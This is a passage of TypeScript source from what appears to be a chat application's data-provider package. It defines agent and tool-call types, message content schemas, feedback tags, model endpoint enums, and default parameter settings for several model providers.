*/\n vector_store_ids?: Array<string>;\n}\nexport type SupportContact = {\n name?: string;\n email?: string;\n};\n\n/**\n * Specifies who can invoke a tool.\n * - 'direct': LLM can call directly\n * - 'code_execution': Only callable via programmatic tool calling (PTC)\n */\nexport type AllowedCaller = 'direct' | 'code_execution';\n\n/**\n * Per-tool configuration options stored at the agent level.\n * Keyed by tool_id (e.g., \"search_mcp_github\").\n */\nexport type ToolOptions = {\n /**\n * If true, the tool uses deferred loading (discoverable via tool search).\n * @default false\n */\n defer_loading?: boolean;\n /**\n * Specifies who can invoke this tool.\n * - 'direct': LLM can call directly (default behavior)\n * - 'code_execution': Only callable via PTC sandbox\n * @default ['direct']\n */\n allowed_callers?: AllowedCaller[];\n};\n\n/**\n * Map of tool_id to its configuration options.\n * Used to customize tool behavior per agent.\n */\nexport type AgentToolOptions = Record<string, ToolOptions>;\n\nexport type Agent = {\n _id?: string;\n id: string;\n name: string | null;\n author?: string | null;\n /** The original custom endpoint name, lowercased */\n endpoint?: string | null;\n authorName?: string | null;\n description: string | null;\n created_at: number;\n avatar: AgentAvatar | null;\n instructions?: string | null;\n additional_instructions?: string | null;\n tools?: string[];\n tool_kwargs?: Record<string, unknown>;\n metadata?: Record<string, unknown>;\n provider: AgentProvider;\n model: string | null;\n model_parameters: AgentModelParameters;\n conversation_starters?: string[];\n tool_resources?: AgentToolResources;\n /** @deprecated Use edges instead */\n agent_ids?: string[];\n edges?: GraphEdge[];\n end_after_tools?: boolean;\n hide_sequential_outputs?: boolean;\n artifacts?: ArtifactModes;\n recursion_limit?: number;\n isPublic?: boolean;\n version?: number;\n category?: string;\n support_contact?: SupportContact;\n /** Per-tool configuration options (deferred loading, allowed callers, etc.) */\n tool_options?: AgentToolOptions;\n};\n\nexport type TAgentsMap = Record<string, Agent | undefined>;\n\nexport type AgentCreateParams = {\n name?: string | null;\n description?: string | null;\n avatar?: AgentAvatar | null;\n file_ids?: string[];\n instructions?: string | null;\n tools?: Array<FunctionTool | string>;\n provider: AgentProvider;\n model: string | null;\n model_parameters: AgentModelParameters;\n} & Pick<\n Agent,\n | 'agent_ids'\n | 'edges'\n | 'end_after_tools'\n | 'hide_sequential_outputs'\n | 'artifacts'\n | 'recursion_limit'\n | 'category'\n | 'support_contact'\n | 'tool_options'\n>;\n\nexport type AgentUpdateParams = {\n name?: string | null;\n description?: string | null;\n avatar?: AgentAvatar | null;\n file_ids?: string[];\n instructions?: string | null;\n tools?: Array<FunctionTool | string>;\n tool_resources?: ToolResources;\n provider?: AgentProvider;\n model?: string | null;\n model_parameters?: AgentModelParameters;\n} & Pick<\n Agent,\n | 'agent_ids'\n | 'edges'\n | 'end_after_tools'\n | 'hide_sequential_outputs'\n | 'artifacts'\n | 'recursion_limit'\n | 'category'\n | 'support_contact'\n | 'tool_options'\n>;\n\nexport type AgentListParams = {\n limit?: number;\n requiredPermission: number;\n category?: string;\n search?: string;\n cursor?: string;\n promoted?: 0 | 1;\n};\n\nexport type AgentListResponse = {\n object: string;\n data: Agent[];\n first_id: string;\n last_id: string;\n has_more: boolean;\n after?: string;\n};\n\nexport type AgentFile = {\n file_id: string;\n id?: string;\n temp_file_id?: string;\n bytes: number;\n created_at: number;\n filename: string;\n object: string;\n purpose: 'fine-tune' | 'fine-tune-results' | 'agents' | 'agents_output';\n};\n\n/**\n * Details of the Code Interpreter tool call the run step was involved in.\n * Includes the tool call ID, the code interpreter definition, and the type of tool call.\n */\nexport type CodeToolCall = {\n id: string; // The ID of the tool call.\n code_interpreter: {\n input: string; // The input to the Code Interpreter tool call.\n outputs: Array<Record<string, unknown>>; // The outputs from the Code Interpreter tool call.\n };\n type: 'code_interpreter'; // The type of tool call, always 'code_interpreter'.\n};\n\n/**\n * Details of a Function tool call the run step was involved in.\n * Includes the tool call ID, the function definition, and the type of tool call.\n */\nexport type FunctionToolCall = {\n id: string; // The ID of the tool call object.\n function: {\n arguments: string; // The arguments passed to the function.\n name: string; // The name of the function.\n output: string | null; // The output of the function, null if not submitted.\n };\n type: 'function'; // The type of tool call, always 'function'.\n};\n\n/**\n * Details of a Retrieval tool call the run step was involved in.\n * Includes the tool call ID and the type of tool call.\n */\nexport type RetrievalToolCall = {\n id: string; // The ID of the tool call object.\n retrieval: unknown; // An empty object for now.\n type: 'retrieval'; // The type of tool call, always 'retrieval'.\n};\n\n/**\n * Details of a Retrieval tool call the run step was involved in.\n * Includes the tool call ID and the type of tool call.\n */\nexport type FileSearchToolCall = {\n id: string; // The ID of the tool call object.\n file_search: unknown; // An empty object for now.\n type: 'file_search'; // The type of tool call, always 'retrieval'.\n};\n\n/**\n * Details of the tool calls involved in a run step.\n * Can be associated with one of three types of tools: `code_interpreter`, `retrieval`, or `function`.\n */\nexport type ToolCallsStepDetails = {\n tool_calls: Array<CodeToolCall | RetrievalToolCall | FileSearchToolCall | FunctionToolCall>; // An array of tool calls the run step was involved in.\n type: 'tool_calls'; // Always 'tool_calls'.\n};\n\nexport type ImageFile = TFile & {\n /**\n * The [File](https://platform.openai.com/docs/api-reference/files) ID of the image\n * in the message content.\n */\n file_id: string;\n filename: string;\n filepath: string;\n height: number;\n width: number;\n /**\n * Prompt used to generate the image if applicable.\n */\n prompt?: string;\n /**\n * Additional metadata used to generate or about the image/tool_call.\n */\n metadata?: Record<string, unknown>;\n};\n\n// FileCitation.ts\nexport type FileCitation = {\n end_index: number;\n file_citation: FileCitationDetails;\n start_index: number;\n text: string;\n type: 'file_citation';\n};\n\nexport type FileCitationDetails = {\n file_id: string;\n quote: string;\n};\n\nexport type FilePath = {\n end_index: number;\n file_path: FilePathDetails;\n start_index: number;\n text: string;\n type: 'file_path';\n};\n\nexport type FilePathDetails = {\n file_id: string;\n};\n\nexport type Text = {\n annotations?: Array<FileCitation | FilePath>;\n value: string;\n};\n\nexport enum AnnotationTypes {\n FILE_CITATION = 'file_citation',\n FILE_PATH = 'file_path',\n}\n\nexport enum StepStatus {\n IN_PROGRESS = 'in_progress',\n CANCELLED = 'cancelled',\n FAILED = 'failed',\n COMPLETED = 'completed',\n EXPIRED = 'expired',\n}\n\nexport enum MessageContentTypes {\n TEXT = 'text',\n IMAGE_FILE = 'image_file',\n}\n\n//enum for RunStatus\n// The status of the run: queued, in_progress, requires_action, cancelling, cancelled, failed, completed, or expired.\nexport enum RunStatus {\n QUEUED = 'queued',\n IN_PROGRESS = 'in_progress',\n REQUIRES_ACTION = 'requires_action',\n CANCELLING = 'cancelling',\n CANCELLED = 'cancelled',\n FAILED = 'failed',\n COMPLETED = 'completed',\n EXPIRED = 'expired',\n}\n\nexport type PartMetadata = {\n progress?: number;\n asset_pointer?: string;\n status?: string;\n action?: boolean;\n auth?: string;\n expires_at?: number;\n /** Index indicating parallel sibling content (same stepIndex in multi-agent runs) */\n siblingIndex?: number;\n /** Agent ID for parallel agent rendering - identifies which agent produced this content */\n agentId?: string;\n /** Group ID for parallel content - parts with same groupId are displayed in columns */\n groupId?: number;\n};\n\n/** Metadata for parallel content rendering - subset of PartMetadata */\nexport type ContentMetadata = Pick<PartMetadata, 'agentId' | 'groupId'>;\n\nexport type ContentPart = (\n | CodeToolCall\n | RetrievalToolCall\n | FileSearchToolCall\n | FunctionToolCall\n | Agents.AgentToolCall\n | ImageFile\n | Text\n) &\n PartMetadata;\n\nexport type TextData = (Text & PartMetadata) | undefined;\n\nexport type SummaryContentPart = {\n type: ContentTypes.SUMMARY;\n content?: Array<{ type: ContentTypes.TEXT; text: string }>;\n tokenCount?: number;\n summarizing?: boolean;\n summaryVersion?: number;\n model?: string;\n provider?: string;\n createdAt?: string;\n boundary?: {\n messageId: string;\n contentIndex: number;\n };\n};\n\nexport type TMessageContentParts =\n | ({\n type: ContentTypes.ERROR;\n text?: string | TextData;\n error?: string;\n } & ContentMetadata)\n | ({ type: ContentTypes.THINK; think?: string | TextData } & ContentMetadata)\n | ({\n type: ContentTypes.TEXT;\n text?: string | TextData;\n tool_call_ids?: string[];\n } & ContentMetadata)\n | ({\n type: ContentTypes.TOOL_CALL;\n tool_call: (\n | CodeToolCall\n | RetrievalToolCall\n | FileSearchToolCall\n | FunctionToolCall\n | Agents.AgentToolCall\n ) &\n PartMetadata;\n } & ContentMetadata)\n | ({ type: ContentTypes.IMAGE_FILE; image_file: ImageFile & PartMetadata } & ContentMetadata)\n | (SummaryContentPart & ContentMetadata)\n | (Agents.AgentUpdate & ContentMetadata)\n | (Agents.MessageContentImageUrl & ContentMetadata)\n | (Agents.MessageContentVideoUrl & ContentMetadata)\n | (Agents.MessageContentInputAudio & ContentMetadata);\n\nexport type StreamContentData = TMessageContentParts & {\n /** The index of the current content part */\n index: number;\n /** The current text content was already served but edited to replace elements therein */\n edited?: boolean;\n};\n\nexport type TContentData = StreamContentData & {\n messageId: string;\n conversationId: string;\n userMessageId: string;\n thread_id: string;\n stream?: boolean;\n};\n\nexport const actionDelimiter = '_action_';\nexport const actionDomainSeparator = '---';\nexport const hostImageIdSuffix = '_host_copy';\nexport const hostImageNamePrefix = 'host_copy_';\n\nexport type AssistantAvatar = {\n filepath: string;\n source: string;\n};\n\nexport type AssistantDocument = {\n user: string;\n assistant_id: string;\n conversation_starters?: string[];\n avatar?: AssistantAvatar;\n access_level?: number;\n file_ids?: string[];\n actions?: string[];\n createdAt?: Date;\n updatedAt?: Date;\n append_current_datetime?: boolean;\n};\n\n/* Agent types */\n\nexport type AgentAvatar = {\n filepath: string;\n source: string;\n};\n\nexport enum FilePurpose {\n Vision = 'vision',\n FineTune = 'fine-tune',\n FineTuneResults = 'fine-tune-results',\n Assistants = 'assistants',\n AssistantsOutput = 'assistants_output',\n}\n\nexport const defaultOrderQuery: {\n order: 'desc';\n limit: 100;\n} = {\n order: 'desc',\n limit: 100,\n};\n\nexport enum AssistantStreamEvents {\n ThreadCreated = 'thread.created',\n ThreadRunCreated = 'thread.run.created',\n ThreadRunQueued = 'thread.run.queued',\n ThreadRunInProgress = 'thread.run.in_progress',\n ThreadRunRequiresAction = 'thread.run.requires_action',\n ThreadRunCompleted = 'thread.run.completed',\n ThreadRunFailed = 'thread.run.failed',\n ThreadRunCancelling = 'thread.run.cancelling',\n ThreadRunCancelled = 'thread.run.cancelled',\n ThreadRunExpired = 'thread.run.expired',\n ThreadRunStepCreated = 'thread.run.step.created',\n ThreadRunStepInProgress = 'thread.run.step.in_progress',\n ThreadRunStepCompleted = 'thread.run.step.completed',\n ThreadRunStepFailed = 'thread.run.step.failed',\n ThreadRunStepCancelled = 'thread.run.step.cancelled',\n ThreadRunStepExpired = 'thread.run.step.expired',\n ThreadRunStepDelta = 'thread.run.step.delta',\n ThreadMessageCreated = 'thread.message.created',\n ThreadMessageInProgress = 'thread.message.in_progress',\n ThreadMessageCompleted = 'thread.message.completed',\n ThreadMessageIncomplete = 'thread.message.incomplete',\n ThreadMessageDelta = 'thread.message.delta',\n ErrorEvent = 'error',\n}\n","import { z } from 'zod';\n\nexport type TFeedbackRating = 'thumbsUp' | 'thumbsDown';\nexport const FEEDBACK_RATINGS = ['thumbsUp', 'thumbsDown'] as const;\n\nexport const FEEDBACK_REASON_KEYS = [\n // Down\n 'not_matched',\n 'inaccurate',\n 'bad_style',\n 'missing_image',\n 'unjustified_refusal',\n 'not_helpful',\n 'other',\n // Up\n 'accurate_reliable',\n 'creative_solution',\n 'clear_well_written',\n 'attention_to_detail',\n] as const;\n\nexport type TFeedbackTagKey = (typeof FEEDBACK_REASON_KEYS)[number];\n\nexport interface TFeedbackTag {\n key: TFeedbackTagKey;\n label: string;\n direction: TFeedbackRating;\n icon: string;\n}\n\n// --- Tag Registry ---\nexport const FEEDBACK_TAGS: TFeedbackTag[] = [\n // Thumbs Down\n {\n key: 'not_matched',\n label: 'com_ui_feedback_tag_not_matched',\n direction: 'thumbsDown',\n icon: 'AlertCircle',\n },\n {\n key: 'inaccurate',\n label: 'com_ui_feedback_tag_inaccurate',\n direction: 'thumbsDown',\n icon: 'AlertCircle',\n },\n {\n key: 'bad_style',\n label: 'com_ui_feedback_tag_bad_style',\n direction: 'thumbsDown',\n icon: 'PenTool',\n },\n {\n key: 'missing_image',\n label: 'com_ui_feedback_tag_missing_image',\n direction: 'thumbsDown',\n icon: 'ImageOff',\n },\n {\n key: 'unjustified_refusal',\n label: 'com_ui_feedback_tag_unjustified_refusal',\n direction: 'thumbsDown',\n icon: 'Ban',\n },\n {\n key: 'not_helpful',\n label: 'com_ui_feedback_tag_not_helpful',\n direction: 'thumbsDown',\n icon: 'ThumbsDown',\n },\n {\n key: 'other',\n label: 'com_ui_feedback_tag_other',\n direction: 'thumbsDown',\n icon: 'HelpCircle',\n },\n // Thumbs Up\n {\n key: 'accurate_reliable',\n label: 'com_ui_feedback_tag_accurate_reliable',\n direction: 'thumbsUp',\n icon: 'CheckCircle',\n },\n {\n key: 'creative_solution',\n label: 'com_ui_feedback_tag_creative_solution',\n direction: 'thumbsUp',\n icon: 'Lightbulb',\n },\n {\n key: 'clear_well_written',\n label: 'com_ui_feedback_tag_clear_well_written',\n direction: 'thumbsUp',\n icon: 'PenTool',\n },\n {\n key: 'attention_to_detail',\n label: 'com_ui_feedback_tag_attention_to_detail',\n direction: 'thumbsUp',\n icon: 'Search',\n },\n];\n\nexport function getTagsForRating(rating: TFeedbackRating): TFeedbackTag[] {\n return FEEDBACK_TAGS.filter((tag) => tag.direction === rating);\n}\n\nexport const feedbackTagKeySchema = z.enum(FEEDBACK_REASON_KEYS);\nexport const feedbackRatingSchema = z.enum(FEEDBACK_RATINGS);\n\nexport const feedbackSchema = z.object({\n rating: feedbackRatingSchema,\n tag: feedbackTagKeySchema,\n text: z.string().max(1024).optional(),\n});\n\nexport type TMinimalFeedback = z.infer<typeof feedbackSchema>;\n\nexport type TFeedback = {\n rating: TFeedbackRating;\n tag: TFeedbackTag | undefined;\n text?: string;\n};\n\nexport function toMinimalFeedback(feedback: TFeedback | undefined): TMinimalFeedback | undefined {\n if (!feedback?.rating || !feedback?.tag || !feedback.tag.key) {\n return undefined;\n }\n\n return {\n rating: feedback.rating,\n tag: feedback.tag.key,\n text: feedback.text,\n };\n}\n\nexport function getTagByKey(key: TFeedbackTagKey | undefined): TFeedbackTag | undefined {\n if (!key) {\n return undefined;\n }\n return FEEDBACK_TAGS.find((tag) => tag.key === key);\n}\n","import { z } from 'zod';\nimport { Tools } from './types/assistants';\nimport type { TMessageContentParts, FunctionTool, FunctionToolCall } from './types/assistants';\nimport { TFeedback, feedbackSchema } from './feedback';\nimport type { SearchResultData } from './types/web';\nimport type { TFile } from './types/files';\n\nexport const isUUID = z.string().uuid();\n\nexport enum AuthType {\n OVERRIDE_AUTH = 'override_auth',\n USER_PROVIDED = 'user_provided',\n SYSTEM_DEFINED = 'system_defined',\n}\n\nexport const authTypeSchema = z.nativeEnum(AuthType);\n\nexport enum EModelEndpoint {\n azureOpenAI = 'azureOpenAI',\n openAI = 'openAI',\n google = 'google',\n anthropic = 'anthropic',\n assistants = 'assistants',\n azureAssistants = 'azureAssistants',\n agents = 'agents',\n custom = 'custom',\n bedrock = 'bedrock',\n}\n\n/** Mirrors `@librechat/agents` providers */\nexport enum Providers {\n OPENAI = 'openAI',\n ANTHROPIC = 'anthropic',\n AZURE = 'azureOpenAI',\n GOOGLE = 'google',\n VERTEXAI = 'vertexai',\n BEDROCK = 'bedrock',\n MISTRALAI = 'mistralai',\n MISTRAL = 'mistral',\n DEEPSEEK = 'deepseek',\n MOONSHOT = 'moonshot',\n OPENROUTER = 'openrouter',\n XAI = 'xai',\n}\n\n/**\n * Endpoints that support direct PDF processing in the agent system\n */\nexport const documentSupportedProviders = new Set<string>([\n EModelEndpoint.anthropic,\n EModelEndpoint.openAI,\n EModelEndpoint.bedrock,\n EModelEndpoint.custom,\n // handled in AttachFileMenu and DragDropModal since azureOpenAI only supports documents with Use Responses API set to true\n // EModelEndpoint.azureOpenAI,\n EModelEndpoint.google,\n Providers.VERTEXAI,\n Providers.MISTRALAI,\n Providers.MISTRAL,\n Providers.DEEPSEEK,\n Providers.MOONSHOT,\n Providers.OPENROUTER,\n Providers.XAI,\n]);\n\nconst openAILikeProviders = new Set<string>([\n Providers.OPENAI,\n Providers.AZURE,\n EModelEndpoint.custom,\n Providers.MISTRALAI,\n Providers.MISTRAL,\n Providers.DEEPSEEK,\n Providers.MOONSHOT,\n Providers.OPENROUTER,\n Providers.XAI,\n]);\n\nexport const isOpenAILikeProvider = (provider?: string | null): boolean => {\n return openAILikeProviders.has(provider ?? '');\n};\n\nexport const isDocumentSupportedProvider = (provider?: string | null): boolean => {\n return documentSupportedProviders.has(provider ?? '');\n};\n\nexport const paramEndpoints = new Set<EModelEndpoint | string>([\n EModelEndpoint.agents,\n EModelEndpoint.openAI,\n EModelEndpoint.bedrock,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.anthropic,\n EModelEndpoint.custom,\n EModelEndpoint.google,\n]);\n\nexport enum BedrockProviders {\n AI21 = 'ai21',\n Amazon = 'amazon',\n Anthropic = 'anthropic',\n Cohere = 'cohere',\n DeepSeek = 'deepseek',\n Meta = 'meta',\n MistralAI = 'mistral',\n Moonshot = 'moonshot',\n MoonshotAI = 'moonshotai',\n OpenAI = 'openai',\n StabilityAI = 'stability',\n ZAI = 'zai',\n}\n\nexport const getModelKey = (endpoint: EModelEndpoint | string, model: string) => {\n if (endpoint === EModelEndpoint.bedrock) {\n const parts = model.split('.');\n const provider = [parts[0], parts[1]].find((part) =>\n Object.values(BedrockProviders).includes(part as BedrockProviders),\n );\n return (provider ?? parts[0]) as BedrockProviders;\n }\n return model;\n};\n\nexport const getSettingsKeys = (endpoint: EModelEndpoint | string, model: string) => {\n const endpointKey = endpoint;\n const modelKey = getModelKey(endpointKey, model);\n const combinedKey = `${endpointKey}-${modelKey}`;\n return [combinedKey, endpointKey];\n};\n\nexport type AssistantsEndpoint = EModelEndpoint.assistants | EModelEndpoint.azureAssistants;\n\nexport const isAssistantsEndpoint = (_endpoint?: AssistantsEndpoint | null | string): boolean => {\n const endpoint = _endpoint ?? '';\n if (!endpoint) {\n return false;\n }\n return endpoint.toLowerCase().endsWith(EModelEndpoint.assistants);\n};\n\nexport type AgentProvider = Exclude<keyof typeof EModelEndpoint, EModelEndpoint.agents> | string;\n\nexport const isAgentsEndpoint = (_endpoint?: EModelEndpoint.agents | null | string): boolean => {\n const endpoint = _endpoint ?? '';\n if (!endpoint) {\n return false;\n }\n return endpoint === EModelEndpoint.agents;\n};\n\nexport const isParamEndpoint = (\n endpoint: EModelEndpoint | string,\n endpointType?: EModelEndpoint | string,\n): boolean => {\n if (paramEndpoints.has(endpoint)) {\n return true;\n }\n\n if (endpointType != null) {\n return paramEndpoints.has(endpointType);\n }\n\n return false;\n};\n\nexport enum ImageDetail {\n low = 'low',\n auto = 'auto',\n high = 'high',\n}\n\nexport enum ReasoningEffort {\n unset = '',\n none = 'none',\n minimal = 'minimal',\n low = 'low',\n medium = 'medium',\n high = 'high',\n xhigh = 'xhigh',\n}\n\nexport enum AnthropicEffort {\n unset = '',\n low = 'low',\n medium = 'medium',\n high = 'high',\n max = 'max',\n}\n\nexport enum BedrockReasoningConfig {\n low = 'low',\n medium = 'medium',\n high = 'high',\n}\n\nexport enum ReasoningSummary {\n none = '',\n auto = 'auto',\n concise = 'concise',\n detailed = 'detailed',\n}\n\nexport enum Verbosity {\n none = '',\n low = 'low',\n medium = 'medium',\n high = 'high',\n}\n\nexport enum ThinkingLevel {\n unset = '',\n minimal = 'minimal',\n low = 'low',\n medium = 'medium',\n high = 'high',\n}\n\nexport const imageDetailNumeric = {\n [ImageDetail.low]: 0,\n [ImageDetail.auto]: 1,\n [ImageDetail.high]: 2,\n};\n\nexport const imageDetailValue = {\n 0: ImageDetail.low,\n 1: ImageDetail.auto,\n 2: ImageDetail.high,\n};\n\nexport const eImageDetailSchema = z.nativeEnum(ImageDetail);\nexport const eReasoningEffortSchema = z.nativeEnum(ReasoningEffort);\nexport const eAnthropicEffortSchema = z.nativeEnum(AnthropicEffort);\nexport const eReasoningSummarySchema = z.nativeEnum(ReasoningSummary);\nexport const eVerbositySchema = z.nativeEnum(Verbosity);\nexport const eThinkingLevelSchema = z.nativeEnum(ThinkingLevel);\n\nexport const defaultAssistantFormValues = {\n assistant: '',\n id: '',\n name: '',\n description: '',\n instructions: '',\n conversation_starters: [],\n model: '',\n functions: [],\n code_interpreter: false,\n image_vision: false,\n retrieval: false,\n append_current_datetime: false,\n};\n\nexport const defaultAgentFormValues = {\n agent: {},\n id: '',\n name: '',\n description: '',\n instructions: '',\n model: '',\n model_parameters: {},\n tools: [],\n tool_options: {},\n provider: {},\n edges: [],\n artifacts: '',\n recursion_limit: undefined,\n [Tools.execute_code]: false,\n [Tools.file_search]: false,\n [Tools.web_search]: false,\n category: 'general',\n support_contact: {\n name: '',\n email: '',\n },\n};\n\nexport const ImageVisionTool: FunctionTool = {\n type: Tools.function,\n [Tools.function]: {\n name: 'image_vision',\n description: 'Get detailed text descriptions for all current image attachments.',\n parameters: {\n type: 'object',\n properties: {},\n required: [],\n },\n },\n};\n\nexport const isImageVisionTool = (tool: FunctionTool | FunctionToolCall) =>\n tool.type === 'function' && tool.function?.name === ImageVisionTool.function?.name;\n\nexport const openAISettings = {\n model: {\n default: 'gpt-4o-mini' as const,\n },\n temperature: {\n min: 0 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n top_p: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n presence_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n frequency_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n resendFiles: {\n default: true as const,\n },\n maxContextTokens: {\n default: undefined,\n },\n max_tokens: {\n default: undefined,\n },\n imageDetail: {\n default: ImageDetail.auto as const,\n min: 0 as const,\n max: 2 as const,\n step: 1 as const,\n },\n};\n\nexport const googleSettings = {\n model: {\n default: 'gemini-1.5-flash-latest' as const,\n },\n maxOutputTokens: {\n min: 1 as const,\n max: 64000 as const,\n step: 1 as const,\n default: 8192 as const,\n },\n temperature: {\n min: 0 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n topP: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 0.95 as const,\n },\n topK: {\n min: 1 as const,\n max: 40 as const,\n step: 1 as const,\n default: 40 as const,\n },\n thinking: {\n default: true as const,\n },\n thinkingBudget: {\n min: -1 as const,\n max: 32000 as const,\n step: 1 as const,\n /** `-1` = Dynamic Thinking, meaning the model will adjust\n * the budget based on the complexity of the request.\n */\n default: -1 as const,\n },\n thinkingLevel: {\n default: ThinkingLevel.unset as const,\n },\n};\n\nconst ANTHROPIC_MAX_OUTPUT = 128000 as const;\nconst CLAUDE_4_64K_MAX_OUTPUT = 64000 as const;\nconst CLAUDE_32K_MAX_OUTPUT = 32000 as const;\nconst DEFAULT_MAX_OUTPUT = 8192 as const;\nconst LEGACY_ANTHROPIC_MAX_OUTPUT = 4096 as const;\nexport const anthropicSettings = {\n model: {\n default: 'claude-3-5-sonnet-latest' as const,\n },\n temperature: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n promptCache: {\n default: true as const,\n },\n thinking: {\n default: true as const,\n },\n thinkingBudget: {\n min: 1024 as const,\n step: 100 as const,\n max: 200000 as const,\n default: 2000 as const,\n },\n maxOutputTokens: {\n min: 1 as const,\n max: ANTHROPIC_MAX_OUTPUT,\n step: 1 as const,\n default: DEFAULT_MAX_OUTPUT,\n reset: (modelName: string) => {\n if (/claude-opus[-.]?(?:4[-.]?(?:[6-9]|\\d{2,})|[5-9]|\\d{2,})/.test(modelName)) {\n return ANTHROPIC_MAX_OUTPUT;\n }\n\n if (/claude-(?:sonnet|haiku)[-.]?[4-9]/.test(modelName)) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n\n if (/claude-opus[-.]?(?:[5-9]|4[-.]?([5-9]|\\d{2,}))/.test(modelName)) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n\n if (/claude-opus[-.]?[4-9]/.test(modelName)) {\n return CLAUDE_32K_MAX_OUTPUT;\n }\n\n return DEFAULT_MAX_OUTPUT;\n },\n set: (value: number, modelName: string) => {\n if (/claude-opus[-.]?(?:4[-.]?(?:[6-9]|\\d{2,})|[5-9]|\\d{2,})/.test(modelName)) {\n if (value > ANTHROPIC_MAX_OUTPUT) {\n return ANTHROPIC_MAX_OUTPUT;\n }\n return value;\n }\n\n if (/claude-(?:sonnet|haiku)[-.]?[4-9]/.test(modelName) && value > CLAUDE_4_64K_MAX_OUTPUT) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n\n if (/claude-opus[-.]?(?:[5-9]|4[-.]?([5-9]|\\d{2,}))/.test(modelName)) {\n if (value > CLAUDE_4_64K_MAX_OUTPUT) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n return value;\n }\n\n if (/claude-opus[-.]?[4-9]/.test(modelName) && value > CLAUDE_32K_MAX_OUTPUT) {\n return CLAUDE_32K_MAX_OUTPUT;\n }\n\n if (value > ANTHROPIC_MAX_OUTPUT) {\n return ANTHROPIC_MAX_OUTPUT;\n }\n\n return value;\n },\n },\n topP: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 0.7 as const,\n },\n topK: {\n min: 1 as const,\n max: 40 as const,\n step: 1 as const,\n default: 5 as const,\n },\n resendFiles: {\n default: true as const,\n },\n maxContextTokens: {\n default: undefined,\n },\n legacy: {\n maxOutputTokens: {\n min: 1 as const,\n max: LEGACY_ANTHROPIC_MAX_OUTPUT,\n step: 1 as const,\n default: LEGACY_ANTHROPIC_MAX_OUTPUT,\n },\n },\n effort: {\n default: AnthropicEffort.unset,\n options: [\n AnthropicEffort.unset,\n AnthropicEffort.low,\n AnthropicEffort.medium,\n AnthropicEffort.high,\n AnthropicEffort.max,\n ],\n },\n web_search: {\n default: false as const,\n },\n};\n\nexport const agentsSettings = {\n model: {\n default: 'gpt-3.5-turbo-test' as const,\n },\n temperature: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n top_p: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n presence_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n frequency_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n resendFiles: {\n default: true as const,\n },\n maxContextTokens: {\n default: undefined,\n },\n max_tokens: {\n default: undefined,\n },\n imageDetail: {\n default: ImageDetail.auto as const,\n },\n};\n\nexport const endpointSettings = {\n [EModelEndpoint.openAI]: openAISettings,\n [EModelEndpoint.google]: googleSettings,\n [EModelEndpoint.anthropic]: anthropicSettings,\n [EModelEndpoint.agents]: agentsSettings,\n [EModelEndpoint.bedrock]: agentsSettings,\n};\n\nconst google = endpointSettings[EModelEndpoint.google];\n\nexport const eModelEndpointSchema = z.nativeEnum(EModelEndpoint);\n\nexport const extendedModelEndpointSchema = z.union([eModelEndpointSchema, z.string()]);\n\nexport const tPluginAuthConfigSchema = z.object({\n authField: z.string(),\n label: z.string(),\n description: z.string(),\n optional: z.boolean().optional(),\n});\n\nexport type TPluginAuthConfig = z.infer<typeof tPluginAuthConfigSchema>;\n\nexport const tPluginSchema = z.object({\n name: z.string(),\n pluginKey: z.string(),\n description: z.string().optional(),\n icon: z.string().optional(),\n authConfig: z.array(tPluginAuthConfigSchema).optional(),\n authenticated: z.boolean().optional(),\n chatMenu: z.boolean().optional(),\n isButton: z.boolean().optional(),\n toolkit: z.boolean().optional(),\n});\n\nexport type TPlugin = z.infer<typeof tPluginSchema>;\n\nexport type TInput = {\n inputStr: string;\n};\n\nexport const tExampleSchema = z.object({\n input: z.object({\n content: z.string(),\n }),\n output: z.object({\n content: z.string(),\n }),\n});\n\nexport type TExample = z.infer<typeof tExampleSchema>;\n\nexport const tMessageSchema = z.object({\n messageId: z.string(),\n endpoint: z.string().optional(),\n clientId: z.string().nullable().optional(),\n conversationId: z.string().nullable(),\n parentMessageId: z.string().nullable(),\n responseMessageId: z.string().nullable().optional(),\n overrideParentMessageId: z.string().nullable().optional(),\n bg: z.string().nullable().optional(),\n model: z.string().nullable().optional(),\n title: z.string().nullable().or(z.literal('New Chat')).default('New Chat'),\n sender: z.string().optional(),\n text: z.string(),\n /** @deprecated */\n generation: z.string().nullable().optional(),\n isCreatedByUser: z.boolean(),\n error: z.boolean().optional(),\n clientTimestamp: z.string().optional(),\n createdAt: z\n .string()\n .optional()\n .default(() => new Date().toISOString()),\n updatedAt: z\n .string()\n .optional()\n .default(() => new Date().toISOString()),\n current: z.boolean().optional(),\n unfinished: z.boolean().optional(),\n searchResult: z.boolean().optional(),\n finish_reason: z.string().optional(),\n /* assistant */\n thread_id: z.string().optional(),\n /* frontend components */\n iconURL: z.string().nullable().optional(),\n feedback: feedbackSchema.optional(),\n /** metadata */\n metadata: z.record(z.unknown()).optional(),\n contextMeta: z\n .object({\n calibrationRatio: z\n .number()\n .optional()\n .describe(\n 'EMA ratio of provider-reported vs local token estimates; seeds the pruner on subsequent runs',\n ),\n encoding: z\n .string()\n .optional()\n .describe(\n 'Tokenizer encoding used when this ratio was computed (e.g. \"claude\", \"o200k_base\")',\n ),\n })\n .optional(),\n});\n\nexport type MemoryArtifact = {\n key: string;\n value?: string;\n tokenCount?: number;\n type: 'update' | 'delete' | 'error';\n};\n\nexport type UIResource = {\n resourceId: string;\n uri: string;\n mimeType?: string;\n text?: string;\n [key: string]: 